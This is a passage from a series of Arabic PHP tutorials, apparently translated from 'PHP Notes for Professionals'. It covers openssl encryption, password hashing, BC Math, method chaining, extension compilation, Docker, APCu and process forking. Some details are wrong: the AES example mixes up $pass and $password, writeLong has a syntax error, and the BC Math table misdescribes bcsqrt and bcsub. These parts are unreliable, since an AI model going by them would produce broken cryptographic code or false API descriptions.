false : $dest; } طريقة الاستخدام إليك الشيفرة التالية لتعرف كيفية استخدام الدوال السابقة. $fileName = __DIR__.'/testfile.txt'; $key = 'my secret key'; file_put_contents($fileName, 'Hello World, here I am.'); encryptFile($fileName, $key, $fileName . '.enc'); decryptFile($fileName . '.enc', $key, $fileName . '.dec'); ستنشئ هذه الشيفرة ثلاثة ملفات: testfile.txt وفيه النص الأصلي. testfile.txt.enc فيه الملف المشفر. testfile.txt.dec فيه الملف بعد فك تشفيره ويجب أن يكون نفس محتويات الملف testfile.txt. التشفير المتناظر يوضح هذا المثال التشفير المتناظر باستخدام خوارزمية AES 256 بالنمط CBC وهو اختصار لـ Cipher Block Chaining، نحتاج شعاع تهيئة لذا نولّد واحدًا باستخدام دالة openssl، ويستخدم المتغير ‎$strong لتحديد فيما إذا كان شعاع التهيئة المولَّد قويًا من ناحية التشفير. التشفير // طريقة التشفير $method = "aes-256-cbc"; // الحصول على طول شعاع التهيئة المطلوب $iv_length = openssl_cipher_iv_length($method); // ‫ضبط للقيمة false من أجل السطر التالي $strong = false; // توليد شعاع التهيئة $iv = openssl_random_pseudo_bytes($iv_length, $strong); /* ‫يحتاج شعاع التهيئة للاسترجاع لاحقًا لذا خزنه في قاعدة البيانات لكن لا تعيد استخدام نفس شعاع التهيئة لتشفير بيانات مرةً أخرى */ if(!$strong) { // رمي استثناء إذا لم يكن شعاع التهيئة قويًا من ناحية التشفير throw new Exception("IV not cryptographically strong!"); } // الرسالة السرية $data = "This is a message to be secured."; // كلمة المرور $pass = "Stack0verfl0w"; /* ‫يجب أن تُرسل كلمة المرور بالطريقة POST عبر جلسة HTTPS، قمنا بتخزينها في متغير هنا لأغراض توضيحية * */ // التشفير $enc_data = openssl_encrypt($data, $method, $password, true, $iv); فك التشفير // ‫استعادة شعاع التهيئة من قاعدة البيانات وكلمة المرور من الطلب POST // فك التشفير $dec_data = openssl_decrypt($enc_data, $method, $pass, true, $iv); التشفير وفك التشفير بالأساس 64 إذا كانت البيانات المشفرة تحتاج للإرسال أو التخزين في نص قابل للطباعة عندها يمكن استخدام الدالتين ()base64_encode، و ()base64_decode على الترتيب. // تشفير الترميز بالأساس 64 $enc_data = base64_encode(openssl_encrypt($data, $method, $password, true, $iv)); // فك الترميز وفك التشفير $dec_data = openssl_decrypt(base64_decode($enc_data), $method, $password, true, $iv); دوال تعمية كلمة المرور بما أنّ خدمات الويب الأكثر أمنًا تتجنب تخزين كلمات المرور بصياغة نص واضح فإنّ بعض اللغات مثل PHP توفر دوال تعميةصعبة الاستخراج hashing، ومتنوعة لدعم معيار الصناعة الأكثر أمنًا. يوفر هذا المثال توثيقًا لعمليات التعمية المناسب باستخدام PHP. إنشاء كلمة مرور معماة ننشئ نسخة معماة لكلمة المرور باستخدام الدالة password_hash()‎ لاستخدام تعمية معيارية بأفضل ممارسة للصناعة الحالية أو لاشتقاق المفتاح، في وقت كتابة هذا النص المعيار هو bcrypt مما يعني أنّ PASSWORD_DEFAULT له نفس قيمة PASSWORD_BCRYPT. $options = [ 'cost' => 12, ]; $hashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT, $options); المعامل الثالث ليس إجباريًا. يجب أن نختار القيمة 'cost' بالاعتماد على تجهيزات خادم الإنتاج، ستجعل زيادتها كلمة المرور أكثر تكلفةً عند توليدها، كلما زادت تكلفة استخراج وفك الكلمة المعماة، استغرق الأمر وقتًا أطول عند محاولة شخص ما استخراجها؛ ومثاليًا يجب أن تكون التكلفة أعلى ما يمكن᠎ لكن من الناحية العملية يجب ضبطها بحيث لا تؤدي إلى بطء شديد في كل شيء، من المناسب أن تكون بين 0.1 و0.4 ثانية، إذا كنت محتارًا استخدم القيمة الافتراضية. في الإصدارات السابقة للإصدار 5.5، الدوال password_*‎ غير متوفرة، يجب أن تستخدم حزمة التوافق للحصول على بديل لهذه الدوال، لاحظ أنّ حزمة التوافق تتطلب الإصدار PHP 5.3.7 أو أعلى أو إصدار يحتوي على التصحيح ‎$2y (مثل ريدهات). إذا لم تكن قادرًا على استخدامها فيمكنك تنفيذ عملية تعمية على كلمة المرور باستخدام الدالة crypt()‎، وبما أنّ password_hash()‎ تُنفَّذ كغلاف حول الدالة crypt()‎ فلن تحتاج لفقدان أي وظيفة. المثال التالي هو تنفيذ بسيط للتعمية بالمعيار bcrypt والتوافق مع password_hash()‎ ومن غير المضمون أن يحافظ على نفس قوة تشفير التنفيذ الكامل للدالة password_hash()‎. إضافة غُفْل في عملية تعمية كلمة المرور على الرغم من موثوقية خوارزمية التشفير إلا أنّه ما يزال يوجد ثغرة تستهدف جداول قوس قزح ولذا ينصح باستخدام غُفْل salt، والغفل بالعربية هو شيء ما يُضاف لكلمة المرور قبل تعميتها لجعل السلسلة النصية المصدر فريدة (انظر كتاب «علم التعمية واستخراج المعمى عند العرب»)، بالنظر إلى كلمتي مرور متطابقتين فإنّ نتيجة التعمية لهما ستكون فريدة أيضًا لأن الأغْفَال المضافة إليها فريدة. يعد إضافة الأغفال العشوائية أحد أهم أجزاء أمان كلمة المرور الخاصة بك، وهذا يعني أنّه حتى مع جدول البحث lookup table لكلمات المرورة المعماة المعروفة فإنّ المهاجم لن يتمكن من مطابقة كلمة المرور المعماة الخاصة بالمستخدم مع كلمة المرور المعماة في قاعدة البيانات بسبب استخدام أغفال مختلفة، يجب أن تستخدم دائمًا أغفال عشوائية وقوية من ناحية التشفير اقرأ المزيد. باستخدام خوارزمية bcrypt ودالة password_hash()‎ تُخزَّن أغفال النص الأصلي وأغفال النص المعمى الناتج مما يعني أنّه يمكن نقل النص المعمى عبر أنظمة ومنصات مختلفة وستبقى متطابقة مع كلمة المرور الأصلية. في الإصدارات السابقة للإصدار 7.0 يمكنك استخدام الخيار salt لتعريف الأغفال العشوائية الخاصة بك على الرغم من عدم التشجيع على هذا الإجراء. $options = [ 'salt' => $salt, ]; ملاحظة: إذا أهملت هذا الخيار ستولّد الدالة password_hash()‎ غُفْلًا عشوائيًا لكل كلمة مرور مقطعة. بدءًا من الإصدار PHP 7.0.0 أُهمل خيار إضافة الغُفْل ومن المفضل الآن استخدام الغُفْل المولّد افتراضيًا. ترقية كلمة مرور معماة موجودة إلى خوارزمية أقوى إذا كنت تستخدم طريقة PASSWORD_DEFAULT لتجعل النظام يختار الخوارزمية الأفضل لتعمية كلمات المرور بها، مع زيادة قوة الخوارزمية الافتراضية قد ترغب في إعادة تعمية كلمات المرور القديمة عندما يسجل المستخدمون الدخول. <?php // حدد أولًا إذا كانت كلمة المرور الموفرة صحيحة if (password_verify($plaintextPassword, $hashedPassword)) { // حدد الآن إذا كانت النسخة المعماة الموجود قد أُنشئت بخوارزمية لم تعد افتراضية بعد الآن if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) { // أنشئ كلمة معماة جديدة مع الخوارزمية الافتراضية الجديدة $newHashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT); // ثم احفظه في مخزن بياناتك // $db->update(...); } } ?> إذا لم تكن الدوال password_*‎ متوفرةً في نظامك ولا تستطيع استخدام حزمة التوافق، فعندها يمكنك تحديد الخوارزمية واستخدامها لإنشاء التعمية الأصلية بطريقة مشابهة للتالي: <?php if (substr($hashedPassword, 0, 4) == '$2y$' && strlen($hashedPassword) == 60) { echo 'Algorithm is Bcrypt'; // ‫يحدد "cost" مدى قوة إصدار Bcrypt preg_match('/\$2y\$(\d+)\$/', $hashedPassword, $matches); $cost = $matches[1]; echo 'Bcrypt cost is '.$cost; } ?> التحقق من كلمة المرور مقابل كلمة معماة توفر الدالة password_verify()‎ المدمجة بدءًا من الإصدار PHP 5.5، إمكانية التحقق من صحة كلمة مرور مقابل كلمة معماة مقابلة لها، أو غير مقابلة. <?php if (password_verify($plaintextPassword, $hashedPassword)) { echo 'Valid Password'; } else { echo 'Invalid Password.'; } ?> تخزن كل خوارزميات عملية التعمية المدعومة معلومات تحدد آلية التعمية المستخدمة، لذا لا حاجة للإشارة إلى الخوارزمية المستخدمة لتعمية كلمة المرور الأصلية. إذا لم تكن الدوال password_*‎ متوفرةً في نظامك ولا تستطيع استخدام حزمة التوافق، فيمكنك التحقق من كلمة المرور باستخدام الدالة crypt()‎، لاحظ أنه يجب اتخاذ احتياطات محددة لتجنب هجمات التوقيت. <?php // ‫غير مضمون أن يحافظ على نفس قوة تشفير تنفيذ password_hash()‎ الكامل if (CRYPT_BLOWFISH == 1) { // ‫تتجاهل crypt()‎ كل المحارف التي تتجاوز طول الغفل، لذا يمكننا تمرير ?كامل كلمة المرور المعماة $hashedCheck = crypt($plaintextPassword, $hashedPassword); // ‫هذه موازنة وقت ثابت أساسية تعتمد على التنفيذ الكامل المستخدم في `password_hash()` $status = 0; for ($i=0; $i<strlen($hashedCheck); $i++) { $status |= (ord($hashedCheck[$i]) ^ ord($hashedPassword[$i])); } if ($status === 0) { echo 'Valid Password'; } else { echo 'Invalid Password'; } } ?> ترجمة -وبتصرف- للفصول Cryptography - Password Hashing Functions من كتاب PHP Notes for Professionals book
  13. يمكن استخدام الآلة الحاسبة الثنائية BC Math للتعامل مع أرقام بأي حجم وبدقة عشرية تصل إلى 2147483647‎-1‎، بتنسيق سلسلة نصية، وهي أدق من الحساب العشري في PHP، وتدعم كلًا من الدوال الآتية: الدالة الوصف المعاملات bcadd تضيف هذه الدالة أي رقمين بدقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bccomp توازن بين رقمين بدقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية والتي ستُستخدم في الموازنة. bcdiv تقسّم رقمين بدقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcmod تعيد باقي قسمة رقم على رقم آخر ذو دقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. divisor: العدد الذي نريد القسمة عليه على شكل سلسلة نصية. bcmul تعيد نتيجة ضرب رقمين بدقةٍ ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcpow ترفع رقم ذو دقةٍ ما إلى رقم آخر left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcpowmod ترفع رقم ذو دقةٍ ما إلى رقم آخر، مخفضًا بباقي قسمة محدد left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. modulus: باقي القسمة على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcscale تضبط معامل القياس الافتراضي لكل دوال الإضافة bc math scale: عامل القياس. bcsqrt تطرح رقم ذو دقةٍ ما من رقم آخر operand: المعامَل على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. bcsub تضيف هذه الدالة أي رقمين بدقة ما left_operand: المعامَل اليساري على شكل سلسلة نصية. right_operand: المعامَل اليميني على شكل سلسلة نصية. scale: معامل اختياري لضبط عدد الأرقام بعد الفاصلة العشرية في النتيجة. استخدام bcmath لقراءة/كتابة رقم ثنائي طويل في أنظمة 32 بت لا يمكن تخزين الأعداد الصحيحة التي تكون أكبر من 0x7FFFFFFF في أنظمة 32 بت بشكلٍ أساسي، بينما يمكن تخزين الأعداد الصحيحة بين 0x0000000080000000 و0x7FFFFFFFFFFFFFFF في أنظمة 64 بت ولا يمكن تخزينها في أنظمة 32 بت (طويلة جدًا وذات إشارة). ومع ذلك بما أنّ أنظمة 64 بت والعديد من اللغات الأخرى تدعم تخزين الأعداد الصحيحة الطويلة جدًا ذات الإشارة فمن الضروري أحيانًا تخزين هذا المجال من الأعداد الصحيحة بالقيمة الدقيقة. هناك عدة طرق للقيام بذلك مثل إنشاء مصفوفة من رقمين أو تحويل العدد الصحيح إلى صيغته العشرية القابلة للقراءة من قِبل البشر، ولهذا العديد من الميزات مثل الراحة في العرض للمستخدم وقابلية معالجته باستخدام bcmath مباشرةً. يمكن استخدام التوابع pack وunpack للتحويل بين البايتات الثنائية والصيغة العشرية للأرقام (كلاهما من النوع سلسلة لكن الأولى ثنائية والثانية بترميز ASCII، لكنهم سيحاولون دائمًا تحويل السلسلة النصية بترميز ASCII إلى عدد صحيح 32 بت في أنظمة 32 بت، توفر الشيفرة التالية بديل: // ‫استخدم pack("J")‎ أو pack("p")‎⁡ في أنظمة 64 بت function writeLong(string $ascii) : string { // ‫إذا كان ‎$ascii < 0‎ if(bccomp($ascii, "0") === -1) { // 18446744073709551616 = (1 << 64) // ‫تذكر إضافة علامات الاقتباس وإلا سيُحلَّل الرقم على أنه عشري $ascii = bcadd($ascii, "18446744073709551616"); } // ‫"n" لتخزين البتات الأقل أهمية أولًا بصيغة 16 بت بدون إشارة، نستخدم "v" لتخزين البتات الأكثر أهمية أولًا return pack("n", bcmod(bcdiv($ascii, "281474976710656"), "65536")) . pack("n", bcmod(bcdiv($ascii, "4294967296"), "65536")) . pack("n", bcdiv($ascii, "65536"), "65536")) . pack("n", bcmod($ascii, "65536")); } function readLong(string $binary) : string { $result = "0"; $result = bcadd($result, unpack("n", substr($binary, 0, 2))); $result = bcmul($result, "65536"); $result = bcadd($result, unpack("n", substr($binary, 2, 2))); $result = bcmul($result, "65536"); $result = bcadd($result, unpack("n", substr($binary, 4, 2))); $result = bcmul($result, "65536"); $result = bcadd($result, unpack("n", substr($binary, 6, 2))); // ‫إذا كان ‎?$binary طويل جدًا ومع إشارة // ‫9223372036854775808‎ = (1 << 63)‎ (لاحظ أن هذا التعبير لا يعمل حتى في أنظمة 64 بت) if(bccomp($result, "9223372036854775808") !== -1) { // ‫إذا كان ‎$result >= 9223372036854775807 $result = bcsub($result, "18446744073709551616"); // $result -= (1 << 64) } return $result; } موازنة بين BCMath والعمليات الحسابية العشرية bcadd مقابل رقم عشري + رقم عشري: var_dump('10' + '-9.99'); // float(0.0099999999999998) var_dump(10 + -9.99); // float(0.0099999999999998) var_dump(10.00 + -9.99); // float(0.0099999999999998) var_dump(bcadd('10', '-9.99', 20)); // string(22) "0.01000000000000000000" bcsub مقابل رقم عشري - رقم عشري: var_dump('10' - '9.99'); // float(0.0099999999999998) var_dump(10 - 9.99); // float(0.0099999999999998) var_dump(10.00 - 9.99); // float(0.0099999999999998) var_dump(bcsub('10', '9.99', 20)); // string(22) "0.01000000000000000000" bcmul مقابل رقم صحيح * رقم صحيح: var_dump('5.00' * '2.00'); // float(10) var_dump(5.00 * 2.00); // float(10) var_dump(bcmul('5.0', '2', 20)); // string(4) "10.0" var_dump(bcmul('5.000', '2.00', 20)); // string(8) "10.00000" var_dump(bcmul('5', '2', 20)); // string(2) "10" bcmul مقابل رقم عشري * رقم عشري: var_dump('1.6767676767' * '1.6767676767'); // float(2.8115498416259) var_dump(1.6767676767 * 1.6767676767); // float(2.8115498416259) var_dump(bcmul('1.6767676767', '1.6767676767', 20)); // string(22) "2.81154984162591572289" bcdiv مقابل رقم عشري / رقم عشري: var_dump('10' / '3.01'); // float(3.3222591362126) var_dump(10 / 3.01); // float(3.3222591362126) var_dump(10.00 / 3.01); // float(3.3222591362126) var_dump(bcdiv('10', '3.01', 20)); // string(22) "3.32225913621262458471" ترجمة -وبتصرف- للفصل [BC Math (Binary Calculator)‎] من كتاب PHP Notes for Professionals book table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; }
  14. يوفر هذا الجزء أمثلة عن أنماط التصميم المعروفة المُنفَّذة في PHP. سلسلة التوابع في PHP سَلسَلة التوابع هي تقنية موضحة في كتاب لغات محددة للنطاق لصاحبه Martin Fowler وتُلخص بالشكل التالي: جعل توابع التعديل تُرجع كائن المضيف بحيث يمكن تنفيذ عدة تعديلات في تعبير واحد. بفرض لدينا هذه الشيفرة النظامية الخالية من السَلسَلة (نُقلت إلى PHP من الكتاب المذكور أعلاه) $hardDrive = new HardDrive; $hardDrive->setCapacity(150); $hardDrive->external(); $hardDrive->setSpeed(7200); تسمح لنا سَلسَلة التوابع بكتابة الشيفرة السابقة بطريقةٍ مختصرة: $hardDrive = (new HardDrive) ->setCapacity(150) ->external() ->setSpeed(7200); كل ما تحتاجه هو إضافة return $this إلى التابع الذي نريد سَلسَلته. class HardDrive { protected $isExternal = false; protected $capacity = 0; protected $speed = 0; public function external($isExternal = true) { $this->isExternal = $isExternal; // تعيد غرض الصنف الحالي لتسمح بسَلسَلة التابع return $this; } public function setCapacity($capacity) { $this->capacity = $capacity; // تعيد غرض الصنف الحالي لتسمح بسَلسَلة التابع return $this; } public function setSpeed($speed) { $this->speed = $speed; // تعيد غرض الصنف الحالي لتسمح بسَلسَلة التابع return $this; } } متى نستخدم سلسلة التوابع؟ الحالات الأساسية التي نستخدم فيها سَلسَلة التوابع هي عند بناء لغات خاصة بالنطاق الداخلي، سَلسَلة التابع هي بناء كتلة في باني التعبير والواجهات السلسة. إنّها ليست مرادفة لهما لكن أسلوب السَلسلة يمكّنهما كما يذكر Martin Fowler: ورغم ذلك يعدّ الكثير من الأشخاص أنّ استخدام سَلسَلة التابع فقط لتجنب كتابة الكائن المضيف مشكلة شيفرة، لأنّه يصنع واجهة برمجة تطبيقات API غير واضحة خاصةً عند الدمج مع واجهة برمجة تطبيقات خالية من سَلسَلة التوابع. إليك أيضًا بعض الملاحظات الإضافية: فصل استعلام الأوامر: فصل استعلام الأوامر هو مبدأ في التصميم قدّمه Bertrand Meyer وينص على أنّ التوابع التي تغير الحالة (الأوامر) يجب ألا ترجع شيئًا، أما التوابع التي ترجع شيئًا ما (الاستعلامات) يجب ألا تغير الحالة. وهذا يجعل من السهل التفكير في النظام. تنتهك سَلسَلة التوابع هذا المبدأ لأننا التابع يغير الحالة ويُعيد شيئًا ما. التوابع الجالبة getters: يجب الانتباه عند استخدام الأصناف التي تنفذ سَلسَلة التوابع إلى استدعاء توابع الجالب (أي التوابع التي تُرجع شيئًا ما غير ‎$this)، بما أنّ الجالب يجب أن يرجع قيمة ما غير ‎$this فإنّ سَلسلة تابع إضافي على التابع الجالب يجعل الاستدعاء يُنفَّذ على القيمة التي حُصِل عليها وليس على الكائن الأصلي، إلا أنّ هناك بعض الحالات لسَلسلة التوابع الجالبة قد تجعل الشيفرة أقل قابلية للقراءة. قانون ديميتر وتأثيره على الاختبار: لا تنتهك سَلسلة التوابع قانون ديميتر كما أنّها لا تؤثر على الاختبار وذلك لأننا نعيد الكائن المضيف وليس بعض المتعاونين. إنّه مفهوم خاطئ شائع عند الأشخاص الذين يخلطون بين سَلسلة التوابع والواجهات السلسة وبناة التعبير، يُنتهك قانون ديميتر فقط عندما تعيد سَلسلة التوابع كائنات أخرى غير الكائن المضيف وينتهي بك الأمر بالحصول على اختبارات وهمية في اختباراتك. تصريف إضافات PHP في نظام لينوكس Linux يوجد عدة متطلبات لتصريف إضافة PHP في بيئة لينكس نموذجية: مهارات يونكس الأساسية (أن تكون قادرًا على تشغيل الأمر "make" ومصرِّف C). مصرِّف لغة C يدعم المعيار ANSI. الشيفرة المصدرية لإضافة PHP التي تريد تصريفها. عمومًا، يوجد طريقتين لتصريف إضافة PHP. يمكنك تصريف الإضافة بشكلٍ ساكن إلى الصيغة الثنائية في PHP أو تصريفها كوحدة مشتركة محملة من قِبل الصيغة الثنائية في PHP عند بدء التشغيل. ومن الأفضل استخدام الوحدات المشتركة لأنها تسمح بإضافة أو حذف الإضافات بدون إعادة بناء كامل صيغة PHP الثنائية، يركز هذا المثال على الخيار المشترك. إذا ثبّت PHP باستخدام مدير الحزم ‎(apt-get install, yum install, etc..)‎ ستحتاج إلى تثبيت حزمة ‎-dev من أجل PHP، والتي ستتضمن ملفات ترويسة PHP وسكربت phpize الضروريين لتعمل بيئة البناء. قد تسمى الحزمة باسم مثل php5-dev أو php7-dev لكن تأكد من استخدام مدير حزمتك للبحث عن الاسم المناسب باستخدام مستودعات التوزيعة الخاصة بك لأنها قد تختلف. إذا بنيت PHP من المصدر فعلى الأغلب أنّ ملفات الترويسة موجودة بالفعل في نظامك، تكون عادةً في المسار ‎/usr/include أو ‎/usr/local/include خطوات التصريف بعد أن تتأكد من أنّه لديك كل المتطلبات الضرورية للتصريف يمكنك التوجه إلى pecl.php.net واختيار الإضافة التي تريد تصريفها وتحميل ملف tarball الخاص بها. فك ضغط ملف tarball (مثل: tar xfvz yaml-2.0.0RC8.tgz) أدخل المجلد حيث فُكَّ ضغط الأرشيف، ونفّذ الأمر phpize. يجب أن ترى الآن سكربت جديد مُنشأ حديثًا ‎.configure، إذا كان كل شيء على ما يرام عندها نفّذ الأمر ‎./configure. ستحتاج الآن إلى تنفيذ الأمر make الذي سيصرّف الإضافة. أخيرًا ننفذ الأمر make install التي ستنسخ الملف الثنائي المصرَّف إلى مجلد الإضافة الخاص بك. سيوفر لك الأمر make install مسار التثبيت الذي نُسخت فيه الإضافة، والذي يكون عادةً في ‎/usr/lib/‎، قد يكون مثلًا ‎/usr/lib/php5/20131226/yaml.so‎ يعتمد هذا على إعدادات PHP الخاصة بك (مثل ‎--with-prefix) ونسخة واجهة برمجة التطبيقات المحددة. يُضمَّن رقم واجهة برمجة التطبيقات في المسار للحفاظ على الإضافات المبنية لإصدارات واجهات برمجة تطبيقات مختلفة في مواقع مختلفة. تحميل الإضافة في PHP لتحميل الإضافة في PHP، ابحث عن ملف php.ini المحمَّل من أجل واجهة برمجة التطبيقات للخادم (SAPI) المناسبة، وأضف السطر extension=yaml.so ثم أعد تشغيل PHP وغيّر yaml.so إلى اسم الإضافة المثبّتة الفعلي. بالنسبة للإضافة Zend فأنت تحتاج إلى توفير المسار الكامل لملف الكائن المشترك، أما في باقي إضافات PHP العادية، فيُشتق هذا المسار من الموجِّه extension_dir في ملف الإعدادات المحمَّل أو من متغير البيئة ‎$PATH أثناء إعداد التهيئة. ترجمة -وبتصرف- للفصول Design Patterns - Compile PHP Extensions من كتاب PHP Notes for Professionals book
  15. يُعَدّ Docker حاويةً شائعة جدًا تُستخدم على نطاقٍ واسع كحلّ لنشر الشيفرة في بيئات الإنتاج، كما أنها تسهّل إدارة وتوسيع تطبيقات الويب والخدمات الصغيرة. الحصول على صورة دوكر من أجل php لنشر التطبيق على دوكر نحتاج أولًا للحصول على الصورة من السجل registry. docker pull php سيوفر لك هذا أحدث إصدار للصورة من مستودع ‏php الرسمي، تُستخدم php بشكلٍ عام لنشر تطبيقات الويب لذا نحتاج إلى خادم http ليتوافق مع الصورة. تأتي الصورة في الإصدار php:7.0 (أو إصدار أحدث) مُثبّتة مسبقًا مع apache لتنشر تطبيقك بدون مشاكل. كتابة dockerfile يُستخدم Dockerfile لضبط الصورة المخصصة التي سننشئها مع شيفرات تطبيق الويب، ننشئ ملف جديد Dockerfile في المجلد الجذر للمشروع ونضع فيه المحتويات التالية: FROM php:7.0-apache COPY /etc/php/php.ini /usr/local/etc/php/ COPY . /var/www/html/ EXPOSE 80 يستخدم السطر الأول لوصف الصورة التي يجب استخدامها لإنشاء صورة جديدة، يمكن تغيير هذا إلى أي إصدار PHP آخر محدد من السجل، والسطر الثاني لتحميل ملف php.ini إلى الصورة ويمكنك تغيير هذا الملف إلى موقع ملف مخصص آخر، وينسخ السطر الثالث الشيفرات في المجلد الحالي إلى ‎/var/www/html والذي هو webroot بالنسبة لنا، تذكر أن ‎/var/www/html داخل الصورة، أما السطر الأخير فسيفتح المنفذ 80 داخل حاوية دوكر. قد يكون لديك في بعض الحالات بعض الملفات التي لا تريدها على الخادم مثل ملف إعدادات البيئة، بفرض أنّ إعدادات البيئة موجودة لدينا في ملف ‎.env ونريد تجاهله عندها نضيفه إلى ‎.dockerignore في المجلد الجذر لشيفرتنا. بناء الصورة إنّ بناء الصورة شيء غير محدد في php، لكن لبناء الصورة التي تحدثنا عنها في الأعلى نستخدم مايلي: docker build -t <Image name> . يمكننا التحقق من بناء الصورة باستخدام: docker images سيعطيك هذا الأمر كل الصور المثبتة في نظامك. بدء حاوية التطبيق يمكننا البدء بتقديم الخدمة بمجرد أن تصبح الصورة جاهزة، نستخدم ما يلي لإنشاء حاوية من الصورة: docker run -p 80:80 -d <Image name> ستوجّه ‎-p 80:80 في الأمر السابق المنفذ 80 الخاص بخادمك إلى المنفذ 80 الخاص بالحاوية، وستخبر الراية ‎-d أنّه يجب تنفيذ الحاوية في الخلفية وتصف <Image name> الصورة التي يجب استخدامها لبناء الحاوية. التحقق من الحاوية نستخدم ما يلي للتحقق من الحاويات قيد التنفيذ: docker ps سيعطينا هذا الأمر قائمة بكل الحاويات التي تُنفَّذ. سجلات التطبيق تعدّ السجلات مهمة جدًا لتنقيح أخطاء التطبيق، وللتحقق منها نستخدم الأمر: docker logs <Container id> مخزن APCu APCu هو مخزن قيمة-مفتاح للذاكرة المشتركة في PHP، تُشارك الذاكرة بين عملياتPHP-FPM ‎ (أي Fast Process Manager)‎‍ في نفس المجمع pool وتستمر البيانات المخزنة بين العمليات. تكرار محتويات المداخل يسمح الصنف APCUIterator بتكرار محتويات المداخل في المخزن المؤقت cache: foreach (new APCUIterator() as $entry) { print_r($entry); } يمكن تهيئة المكرِّر بتعبير نمطي اختياري لاختيار المداخل المتطابقة مع المفاتيح فقط: foreach (new APCUIterator($regex) as $entry) { print_r($entry); } يمكن الحصول على معلومات مدخل ذاكرة مؤقتة واحدة بالشكل التالي: $key = '…'; $regex = '(^' . preg_quote($key) . '$)'; print_r((new APCUIterator($regex))->current()); تخزين واسترجاع بسهولة يمكن استخدام apcu_store لتخزين قيم وapcu_fetch لاستعادتها: $key = 'Hello'; $value = 'World'; apcu_store($key, $value); print(apcu_fetch('Hello')); // 'World' تخزين معلومات توفر apcu_cache_info معلومات حول المخزن ومداخله: print_r(apcu_cache_info()); لاحظ أنّ استدعاء apcu_cache_info()‎ بدون حد سيعيد كل البيانات المخزنة حاليًا، ولهذا نستخدم apcu_cache_info(true)‎، للحصول على البيانات الوصفية فقط، كما أنه من الأفضل استخدام الصنف APCUIterator للحصول على معلومات عن مداخل ذاكرة تخزين مؤقتة محددة. ترجمة -وبتصرف- للفصل Docker deployment - APCu من كتاب PHP Notes for Professionals book
  16. المعالجة المتعددة باستخدام دوال العمليات الفرعية المضمنة يمكنك استخدام الدوال المضمنة لتنفيذ عمليات PHP مثل عمليات فرعية forks، هذه أبسط طريقة لتحقيق عمل متوازٍ إذا كنت لا تحتاج أن تحدث خيوطك threads مع بعضها، يتيح لك هذا وضع المهام التي تستهلك الكثير من الوقت (مثل تحميل ملف إلى خادم آخر أو إرسال بريد إلكتروني) على عاتق خيط آخر لذا تزداد سرعة تحميل السكربت ويمكن استخدام نوى متعددة ولكن انتبه أنّ هذا ليس تعدد خيوط حقيقي وأنّ خيطك الأساسي لن يعرف ما يفعله الخيوط الأبناء. لاحظ أنّ هذا في نظام التشغيل ويندوز سيُظهر موجه أوامر لكل عملية فرعية تبدأها. ملف master.php: $cmd = "php worker.php 10"; // ‫نستخدم في نظام التشغيل ويندوز popen وpclose if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { pclose(popen($cmd,"r")); } // ‫نستخدم في أنظمة يونكس shell exec مع علامة "&" في النهاية { exec('bash -c "exec nohup setsid '.$cmd.' > /dev/null 2>&1 &"'); } ملف worker.php: // إرسال رسائل بريد إلكتروني، تحميل ملفات، تحليل سجلات وغير ذلك $sleeptime = $argv[1]; sleep($sleeptime); إنشاء عملية ابن باستخدام fork يوجد في PHP الدالة المضمنة pcntl_fork لإنشاء عملية ابن، وهي مشابهة للدالة fork في يونكس، لا تأخذ معاملات وترجع عددًا صحيحًا يمكن استخدامه للتمييز بين العملية الأب والعملية الابن، بفرض لدينا الشيفرة التالية: <?php // ‫‎$pid معرّف العملية الابن $pid = pcntl_fork(); if ($pid == -1) { die('Error while creating child process'); } else if ($pid) { // العملية الأب } else { // العملية الابن } ?> كما تلاحظ يدل ‎-1 على حدوث خطأ وعدم إنشاء العملية الابن، عند إنشاء العملية الابن يكون لدينا عمليتان تنفذان ولكل منهما معرِّف عملية PID مختلف.⁦ يجب أن ننتبه هنا أيضًا إلى العملية الميتة zombie process أو العملية المنقطعة defunct process عندما تنتهي العملية الأب قبل العملية الابن. لمنع العملية الابن الميتة نضيفpcntl_wait($status)‎ في نهاية العملية الأب، إذ توقف هذه الدالة تنفيذ العملية الأب حتى تنتهي العملية الابن. ويجب الانتباه أيضًا إلى أنه لا يمكن قتل العملية الميتة باستخدام العلامة SIGKILL. التواصل بين العمليات يسمح التواصل بين العمليات للمبرمجين بالتواصل بين العمليات المختلفة، فمثلًا إذا احتجنا لكتابة تطبيق PHP يمكنه تنفيذ أوامر bash وطباعة الخرج، سنستخدم الدالة proc_open التي ستنفذ الأمر وتعيد موردًا يمكننا التواصل معه، تُظهر الشيفرة التالية تنفيذًا بسيطًا ينفذ الأمر pwd في bash من PHP: <?php $descriptor = array( // أنبوب من أجل مجرى الدخل القياسي للابن 0 => array("pipe", "r"), // أنبوب من أجل مجرى الخرج القياسي للابن 1 => array("pipe", "w"), ); $process = proc_open("bash", $descriptor, $pipes); if (is_resource($process)) { fwrite($pipes[0], "pwd" . "\n"); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); $return_value = 